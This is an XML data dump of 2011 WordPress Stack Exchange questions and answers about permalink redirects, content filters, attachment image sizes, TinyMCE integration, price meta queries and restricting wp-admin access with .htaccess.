  <row Id="24250" PostTypeId="2" ParentId="24248" CreationDate="2011-07-27T19:27:18.567" Score="2" ViewCount="" Body="&lt;p&gt;Both Formidable Pro and Gravity Forms allow you to have each be emailed at the time of submission &lt;em&gt;and&lt;/em&gt; export all entries later as CSV / Excel. Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-27T19:27:18.567" CommentCount="1" />
  <row Id="24251" PostTypeId="1" AcceptedAnswerId="24254" CreationDate="2011-07-27T19:32:52.780" Score="1" ViewCount="37" Body="&lt;p&gt;If I change my permalink structure, is there is a nice way to handle when people/bots go to the old structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume I can add use .htaccess and write a rule to redirect based on a 301 but is it possible in my case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have site.com/%year%/%month%/%day%/%postname% and I will just want site.com/%category%/%postname%&lt;/p&gt;&#xA;" OwnerUserId="1213" LastActivityDate="2011-07-27T19:53:44.750" Title="Nicest way to 301 Redirect traffic when changing permalink settings" Tags="&lt;permalinks&gt;&lt;redirect&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="24252" PostTypeId="2" ParentId="24251" CreationDate="2011-07-27T19:46:46.110" Score="0" ViewCount="" Body="&lt;p&gt;For people, you can try &lt;a href=&quot;http://wordpress.org/extend/plugins/smart-404/&quot; rel=&quot;nofollow&quot;&gt;Smart 404&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-27T19:46:46.110" />
  <row Id="24253" PostTypeId="2" ParentId="24248" CreationDate="2011-07-27T19:49:17.843" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7-to-database-extension/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7 to Database Extension&lt;/a&gt; plugin will save the form data to the database. I haven't used it myself, so don't know whether it offers easy ways of then extracting it, or if you have to deal with extracting it yourself.&lt;/p&gt;&#xA;" OwnerUserId="7381" LastActivityDate="2011-07-27T19:49:17.843" CommentCount="1" />
  <row Id="24254" PostTypeId="2" ParentId="24251" CreationDate="2011-07-27T19:53:44.750" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/permalinks-migration-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Dean's Permalink Migration&lt;/a&gt; has always worked for me. Install it before you change your permalinks.&lt;/p&gt;&#xA;" OwnerUserId="7183" LastActivityDate="2011-07-27T19:53:44.750" />
  <row Id="24255" PostTypeId="2" ParentId="24249" CreationDate="2011-07-27T19:56:38.120" Score="3" ViewCount="" Body="&lt;p&gt;Any time you have a duplicate slug for a post or taxonomy, WordPress just adds '-2' to the end of the slug.&lt;/p&gt;&#xA;" OwnerUserId="7183" LastActivityDate="2011-07-27T19:56:38.120" CommentCount="2" />
  <row Id="24256" PostTypeId="2" ParentId="24249" CreationDate="2011-07-27T19:59:24.633" Score="2" ViewCount="" Body="&lt;p&gt;I don't believe it's covered by WP magic; and lately there's been much discussion of how bad it can be performance-wise to use %postname% alone, for example &lt;a href=&quot;http://digwp.com/2011/06/dont-use-postname/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2011/06/dont-use-postname/&lt;/a&gt; You might have better luck with %year%/%postname. Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-27T19:59:24.633" />
  <row Id="24257" PostTypeId="2" ParentId="24103" CreationDate="2011-07-27T20:16:13.743" Score="0" ViewCount="" Body="&lt;p&gt;Use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;query_posts( $query_string.'&amp;amp;cat=-4,-7' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-27T20:16:13.743" />
  <row Id="24258" PostTypeId="2" ParentId="24213" CreationDate="2011-07-27T20:32:37.397" Score="1" ViewCount="" Body="&lt;p&gt;If you want to force add a MU user and activate them, and email them, this will do it. It's a slightly altered version of a piece of the code in user-new.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wpmu_signup_user( $new_user_login, $new_user_email, array( 'add_to_blog' =&amp;gt; $blogid, 'new_role' =&amp;gt; $role ) );&#xA;$key = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( &quot;SELECT activation_key FROM {$wpdb-&amp;gt;signups} WHERE user_login = %s AND user_email = %s&quot;, $new_user_login, $new_user_email ) );&#xA;$ret = wpmu_activate_signup( $key );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The wpmu_activate_signup function will send the welcome email. And the $ret from wpmu_activate_signup is an array of several things, including the user_id in $ret['user_id'].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously you'll need to fill in the user name, email, blogid, and role in the above code.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-07-27T21:39:20.320" LastActivityDate="2011-07-27T21:39:20.320" CommentCount="1" />
  <row Id="24259" PostTypeId="2" ParentId="24196" CreationDate="2011-07-27T20:51:09.300" Score="3" ViewCount="" Body="&lt;p&gt;If you are using multisite make sure you set &quot;Max upload file size&quot; to some higher limit.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Network Admin -&gt; Settings -&gt; Network settings -&gt; Upload settings -&gt;&#xA;  Max upload file size&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-27T20:51:09.300" CommunityOwnedDate="2011-07-27T20:51:09.300" CommentCount="0" />
  <row Id="24260" PostTypeId="1" AcceptedAnswerId="24385" CreationDate="2011-07-27T20:52:07.210" Score="1" ViewCount="147" Body="&lt;p&gt;Can anyone help me filter wp_get_attachment_link so that a particular occurence of it links to the 'medium' or other size image rather than the full size. &#xA;I have the following in a page template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( 'post_type' =&amp;gt; 'attachment', 'numberposts' =&amp;gt; -1, 'post_status' =&amp;gt; null, 'post_parent' =&amp;gt; $post-&amp;gt;ID ); &#xA;$attachments = get_posts($args);&#xA;if ($attachments) {&#xA;    foreach ( $attachments as $attachment ) {&#xA;    echo wp_get_attachment_link( $attachment-&amp;gt;ID , array(150,150) ); &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can add a filter to add class or rel but I can't find anyway to alter the default (as originally uploaded) full size image linked to in the template ....&#xA;The above works fine with colorbox (not plugin) to create a lightbox, but if a user uploads a very large image (ie: 4000x4000+ pixels), the link will load too slowly and I don't want the public to be able to download a print quality image from the lightbox..&lt;/p&gt;&#xA;" OwnerUserId="7401" LastEditorUserId="7401" LastEditorDisplayName="" LastEditDate="2011-07-28T01:22:52.373" LastActivityDate="2011-07-29T01:08:00.737" Title="Change image link: wp_get_attachment_link" Tags="&lt;attachments&gt;&lt;image&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="24261" PostTypeId="1" AcceptedAnswerId="24266" CreationDate="2011-07-27T20:52:55.250" Score="2" ViewCount="31" Body="&lt;p&gt;Sorry for the simple question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've published a page. Let's say that I now need to make changes to the page. Can I simply edit it, after it's been published? Or should I use a maintnenace mode? If someone tries to view the page at the same time that I'm editing it, will they be greeted by an error message? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-27T21:18:39.050" Title="Editing Pages that Have Already Been Published" Tags="&lt;page&gt;&lt;maintenance&gt;" AnswerCount="2" />
  <row Id="24262" PostTypeId="2" ParentId="24236" CreationDate="2011-07-27T20:53:47.527" Score="0" ViewCount="" Body="&lt;p&gt;Check this link &lt;a href=&quot;http://www.quickonlinetips.com/archives/2007/04/how-to-customize-the-wordpress-login-screen/&quot; rel=&quot;nofollow&quot;&gt;http://www.quickonlinetips.com/archives/2007/04/how-to-customize-the-wordpress-login-screen/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2011-07-27T20:53:47.527" />
  <row Id="24263" PostTypeId="1" AcceptedAnswerId="24265" CreationDate="2011-07-27T20:53:50.133" Score="1" ViewCount="96" Body="&lt;p&gt;I want to edit the default function &lt;code&gt;the_content()&lt;/code&gt;. I know i can &lt;code&gt;add_filter('the_content', 'with_my_function')&lt;/code&gt; but im having trouble outputting the old content with mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres an example of what im doing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'my_function');&#xA;function my_function()&#xA;{&#xA;    $write = 'hello world';&#xA;    $content = apply_filters('the_content', get_the_content());&#xA;    echo $write.$content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i get this to work?&lt;/p&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2011-07-27T23:07:35.153" Title="Edit the_content function" Tags="&lt;functions&gt;&lt;content&gt;" AnswerCount="1" />
  <row Id="24264" PostTypeId="2" ParentId="24103" CreationDate="2011-07-27T20:55:51.223" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Use this&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;query_posts( $query_string.'&amp;amp;cat=-4,-7' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2011-07-27T20:55:51.223" />
  <row Id="24265" PostTypeId="2" ParentId="24263" CreationDate="2011-07-27T21:09:14.760" Score="8" ViewCount="" Body="&lt;p&gt;Not exactly sure what you are trying to accomplish, but it looks like you are trying to prepend something to the beginning of the_content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'se24265_my_function');&#xA;function se24265_my_function( $content )&#xA;{&#xA;    $write = 'hello world';&#xA;    $new_content = $write . $content;&#xA;    return $new_content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most filters will provide a parameter or two for your function to manipulate and then return.&lt;/p&gt;&#xA;" OwnerUserId="300" LastEditorUserId="300" LastEditorDisplayName="" LastEditDate="2011-07-27T23:07:35.153" LastActivityDate="2011-07-27T23:07:35.153" CommentCount="1" />
  <row Id="24266" PostTypeId="2" ParentId="24261" CreationDate="2011-07-27T21:18:02.497" Score="2" ViewCount="" Body="&lt;p&gt;You can edit the page at any time after it is published. I would not recommend using maintenance mode, as then your entire site will be unavailable while you are editing the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are editing, your site is unaffected until you click &quot;Update&quot; and save the changes to the published post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No users will receive error messages when you edit, however they may see the old content until they refresh.&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2011-07-27T21:18:02.497" CommentCount="3" />
  <row Id="24267" PostTypeId="2" ParentId="24261" CreationDate="2011-07-27T21:18:39.050" Score="1" ViewCount="" Body="&lt;p&gt;Yes, you can edit your page. Doing so shouldn't cause any front-end problems. Visitors won't see your in-process edits until you save the edits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: you should almost never need to worry about - or use - &quot;Maintenance mode&quot; manually. It is primarily something that WordPress uses internally.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-27T21:18:39.050" CommentCount="1" />
  <row Id="24268" PostTypeId="2" ParentId="24260" CreationDate="2011-07-27T21:26:23.933" Score="0" ViewCount="" Body="&lt;p&gt;You can specify the size you want to link in the &lt;code&gt;wp_get_attachment_link&lt;/code&gt; function, isn't the code you posted working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( 'post_type' =&amp;gt; 'attachment', 'numberposts' =&amp;gt; -1, 'post_status' =&amp;gt; null, 'post_parent' =&amp;gt; $post-&amp;gt;ID ); &#xA;$attachments = get_posts($args);&#xA;if ($attachments) {&#xA;    foreach ( $attachments as $attachment ) {&#xA;        echo wp_get_attachment_link( $attachment-&amp;gt;ID , 'medium', false ); &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7361" LastActivityDate="2011-07-27T21:26:23.933" CommentCount="1" />
  <row Id="24270" PostTypeId="2" ParentId="21220" CreationDate="2011-07-27T21:52:15.333" Score="2" ViewCount="" Body="&lt;p&gt;Make sure your hosting provider offer &lt;code&gt;mod_expires&lt;/code&gt;. Because many shared hosting providers doesn't offer &lt;code&gt;mod_expires&lt;/code&gt; . Just contact your hosting support.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-27T21:52:15.333" CommunityOwnedDate="2011-07-27T21:52:15.333" CommentCount="1" />
  <row Id="24271" PostTypeId="1" CreationDate="2011-07-27T22:41:41.243" Score="0" ViewCount="42" Body="&lt;p&gt;I would like to integrate TinyMCE into my plugins option page, but I am unsure of what the best way would be to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I would like to do is let the user insert content, edit and style it, and then save it somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I can achieve the above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what code I have thus far, the only problem is that I would like the exact same editor that you get in the Page and Post sections, just smaller in size.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (function_exists('wp_tiny_mce')) {&#xA;&#xA;    add_filter('teeny_mce_before_init', create_function('$a', '&#xA;        $a[&quot;theme&quot;] = &quot;advanced&quot;;&#xA;        $a[&quot;skin&quot;] = &quot;wp_theme&quot;;&#xA;        $a[&quot;height&quot;] = &quot;200&quot;;&#xA;        $a[&quot;width&quot;] = &quot;500&quot;;&#xA;        $a[&quot;onpageload&quot;] = &quot;&quot;;&#xA;        $a[&quot;mode&quot;] = &quot;exact&quot;;&#xA;        $a[&quot;elements&quot;] = &quot;text_edit_id&quot;;&#xA;        $a[&quot;editor_selector&quot;] = &quot;mceEditor&quot;;&#xA;        $a[&quot;plugins&quot;] = &quot;safari,inlinepopups,spellchecker&quot;;&#xA;        $a[&quot;forced_root_block&quot;] = false;&#xA;        $a[&quot;force_br_newlines&quot;] = true;&#xA;        $a[&quot;force_p_newlines&quot;] = false;&#xA;        $a[&quot;convert_newlines_to_brs&quot;] = true;&#xA;&#xA;    return $a;'));&#xA;&#xA;    wp_tiny_mce(true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2011-07-27T22:41:41.243" Title="Integrate TinyMCE into plugin options page" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;tinymce&gt;&lt;plugin-tinymce&gt;" />
  <row Id="24272" PostTypeId="2" ParentId="22977" CreationDate="2011-07-27T22:43:30.850" Score="0" ViewCount="" Body="&lt;p&gt;How you are applying a filter is wrong. You need to bind a function to the filter, but you are providing a variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_filter( $content ) {&#xA;    return $content . 'My added code';&#xA;}&#xA;add_filter( 'the_content', 'my_filter' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should add the code like this, this should work.&lt;/p&gt;&#xA;" OwnerUserId="7156" LastActivityDate="2011-07-27T22:43:30.850" />
  <row Id="24273" PostTypeId="2" ParentId="24236" CreationDate="2011-07-27T23:03:05.827" Score="-3" ViewCount="" Body="&lt;p&gt;I've written an article and made a video demonstrating how to rename the wp-admin folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bare it in mind though that any future plugins/themes you install could break your installation unless you search/replace 'wp-admin' with your new admin folder name in your new plugin/theme files &amp;amp; filenames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.phpmonkey.net/?p=100&quot; rel=&quot;nofollow&quot;&gt;How to rename wp-admin folder&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7367" LastActivityDate="2011-07-27T23:03:05.827" CommentCount="2" />
  <row Id="24274" PostTypeId="1" AcceptedAnswerId="24277" CreationDate="2011-07-27T23:31:54.137" Score="0" ViewCount="27" Body="&lt;p&gt;My goal is to return posts based on a specific price range using &lt;code&gt;meta_query&lt;/code&gt;. The price in the admin that the user enters is a custom field, created using &lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;WPAlchemy&lt;/a&gt;. In the example below, the query would return any posts with a price value between 1000 and 1500:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        'meta_query' =&amp;gt; array(&#xA;            array(&#xA;                'key' =&amp;gt; '_my_price',&#xA;                'value' =&amp;gt; array( 1000, 1500 ),&#xA;                'type' =&amp;gt; 'numerical',&#xA;                'compare' =&amp;gt; 'BETWEEN',&#xA;            )),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine if a price value was entered as &lt;code&gt;1200&lt;/code&gt; (and stored as 1200 in the DB), but how could I get this working for prices that are stored in the database that have dollar signs and commas such as &lt;code&gt;$1,200&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like all price values on the website to be consistent, so I'm using a Javascript currency formatter that converts the prices, which is why I'm asking. If a user enters 1200, it converts it to &lt;code&gt;$1,200&lt;/code&gt;, which is then stored in the database. The meta_query doesn't think this is a number and therefore returns no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe there's a better method. Would it be better to ditch the JS formatter on the input fields in the admin and instead add the dollar sign and comma separation on the front end? This seems more logical, but then it raises another question of how to prevent a user entering a dollar sign or comma formatting in the admin.&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-07-27T23:48:34.677" Title="How can I modify my meta_query to work with prices that are stored in the database that contain dollar signs and commas?" Tags="&lt;custom-field&gt;&lt;wp-query&gt;&lt;meta-query&gt;" AnswerCount="1" />
  <row Id="24275" PostTypeId="1" AcceptedAnswerId="24276" CreationDate="2011-07-27T23:33:59.603" Score="1" ViewCount="47" Body="&lt;p&gt;I've a strange problem with an Autofocus theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my templates file, header.php, I've a code like this (and is correct)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I look at the source code of the generated HTML, I found something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[blank]&#xA;[blank]&#xA;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The extra blank lines are breaking my RSS feeds...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No filters on the content except wpautop&lt;/li&gt;&#xA;&lt;li&gt;functions.php doesn't do anything on the content&lt;/li&gt;&#xA;&lt;li&gt;Plugins All In One Seo, WP Stats, Smiley Remover, SEO Friendly images&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any clues?&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-07-28T06:10:44.877" Title="Unwanted blank lines before &lt;html&gt; tag" Tags="&lt;theme-development&gt;&lt;themes&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="24276" PostTypeId="2" ParentId="24275" CreationDate="2011-07-27T23:44:31.750" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;the_content&lt;/code&gt; doesn't affect the &lt;code&gt;DOCTYPE&lt;/code&gt; and &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; tags, only the post/page content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of your plugins, or something else in the theme is either throwing an error, or is printing something earlier than it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disabling each plugin one by one and see when it is fixed.&lt;/li&gt;&#xA;&lt;li&gt;Editing wp-config.php and adding &lt;code&gt;define( 'WP_DEBUG', true );&lt;/code&gt; to look for errors&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="300" LastActivityDate="2011-07-27T23:44:31.750" CommentCount="2" />
  <row Id="24277" PostTypeId="2" ParentId="24274" CreationDate="2011-07-27T23:48:34.677" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Would it be better to ditch the JS formatter on the input fields in the admin and instead add the dollar sign and comma separation on the front end?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, definitely.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This seems more logical, but then it raises another question of how to&#xA;  prevent a user entering a dollar sign or comma formatting in the&#xA;  admin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sanitize the input before storing it, using &lt;code&gt;absint()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-27T23:48:34.677" CommentCount="4" />
  <row Id="24278" PostTypeId="1" CreationDate="2011-07-28T00:27:46.857" Score="1" ViewCount="28" Body="&lt;p&gt;I'm working on a plugin and having some difficulties getting a new table created. I get the &quot;The plugin generated x characters of unexpected output during activation&quot; error. Is there a way of viewing the actual error? I believe that a redirect is involved in this process, hence the reason I don't see the actual error output. I have all error reporting and logging on, but still I get nothing.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-28T00:27:46.857" Title="Viewing output when the &quot;The plugin generated x characters of unexpected output during activation&quot; error is triggered" Tags="&lt;activation&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="24279" PostTypeId="2" ParentId="19537" CreationDate="2011-07-28T02:29:07.277" Score="2" ViewCount="" Body="&lt;p&gt;Try this. This format works for me.&#xA;You don't have to keep repeating IfModule, RewriteEngine, RewriteBase.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /blog/&#xA;RewriteCond %{HTTP_USER_AGENT} !^.*(FeedBurner|FeedValidator) [NC] &#xA;RewriteRule ^feed/?.*$ http://feeds.feedburner.com/mysite [L,NC,R=302]&#xA;&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /blog/index.php [L]&#xA;&#xA;RewriteRule ^download/([^/]+)$ http://www.mysite.com/blog/wp-content/plugins/download-monitor/download.php?id=$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a nice how-to for htaccess:&#xA;&lt;a href=&quot;http://codeigniter.com/wiki/mod_rewrite/&quot; rel=&quot;nofollow&quot;&gt;http://codeigniter.com/wiki/mod_rewrite/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you continue to have trouble, perhaps consider using a plugin:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/tentbloggers-feedburner-rss-redirect-plugin/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tentbloggers-feedburner-rss-redirect-plugin/screenshots/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6851" LastEditorUserId="300" LastEditorDisplayName="" LastEditDate="2011-08-03T17:15:23.777" LastActivityDate="2011-08-03T17:15:23.777" CommentCount="7" />
  <row Id="24280" PostTypeId="2" ParentId="21217" CreationDate="2011-07-28T03:02:45.913" Score="0" ViewCount="" Body="&lt;p&gt;Use the wordpress default text widget. Its named &quot;Text&quot; in your widget area. You can add unlimited text widget in your sidebar. Each text widget creates new ul li. I hope you get what i mean.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-28T03:02:45.913" CommunityOwnedDate="2011-07-28T03:02:45.913" />
  <row Id="24282" PostTypeId="2" ParentId="24236" CreationDate="2011-07-28T03:30:09.327" Score="0" ViewCount="" Body="&lt;p&gt;As far as i know you cannot rename wp-admin. Many themes and plugin uses wp-admin in path. So if you rename it then all your plugins and themes will be broken. If you don't want your users to access wp-admin then restrict it using .htacess If anyone access your wp-admin url redirect them to other page using .htaccess file. Only allow certain IPs to access wp-admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example use this .htaccess code in your root of wp-admin (Not your wordpress root).&#xA;Create a new .htaccess file there and use this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AuthUserFile /dev/null&#xA;AuthGroupFile /dev/null&#xA;AuthName &quot;Example Access Control&quot;&#xA;AuthType Basic&#xA;&amp;lt;LIMIT GET&amp;gt;&#xA;order deny,allow&#xA;deny from all&#xA;allow from xx.xx.xx.xx&#xA;allow from xx.xx.xxx.xx&#xA;&amp;lt;/LIMIT&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace xx.xx.xx.xx with your IP address. You can add more. Thereafter only you can access wp-admin. You can also use &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/screenshots/&quot; rel=&quot;nofollow&quot;&gt;redirection&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you must want to rename wp-admin then proceed to read more but with extreme caution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just replace &quot;wp-admin&quot; with your keyword. Use this &lt;a href=&quot;http://www.rjlsoftware.com/software/utility/search/&quot; rel=&quot;nofollow&quot;&gt;simple search and replace&lt;/a&gt; tool.&#xA;Here is the &lt;a href=&quot;http://www.rjlsoftware.com/software/utility/search/screenshots.shtml&quot; rel=&quot;nofollow&quot;&gt;screenshot&lt;/a&gt; of that tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning: If you update your wordpress then your site will be broken. You should replace them in themes and plugins too. I highly &lt;em&gt;NOT&lt;/em&gt; recommend this option. Use this option only if its mandatory. I'm not responsible for any problem that arises if you use this option.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-28T03:30:09.327" CommunityOwnedDate="2011-07-28T03:30:09.327" CommentCount="2" />
  <row Id="24284" PostTypeId="2" ParentId="21105" CreationDate="2011-07-28T05:22:48.857" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://wordpress.org/extend/plugins/videowhisper-video-conference-integration/&quot; rel=&quot;nofollow&quot;&gt;VideoWhisper Conference Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, if you were trying videowhisper video presentation with continuous loading, that means you need to check your hosting, make sure that it conforms to all the RMTP setup requirement.&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-28T05:22:48.857" />
  <row Id="24285" PostTypeId="2" ParentId="24275" CreationDate="2011-07-28T06:10:44.877" Score="2" ViewCount="" Body="&lt;p&gt;I believe the problem is that there are not any &lt;code&gt;&amp;lt;?php&lt;/code&gt; opening tags in your header.php so the  space is probably coming from your templates that call &lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding a commented out header like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The Header for our theme.&#xA; *&#xA; * Displays all of the &amp;lt;head&amp;gt; section &#xA; *&#xA; */&#xA;?&amp;gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's also possible that you have windows line endings which sometimes get parsed as a dbl line ending adding an extra space to each line.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-28T06:10:44.877" CommentCount="1" />
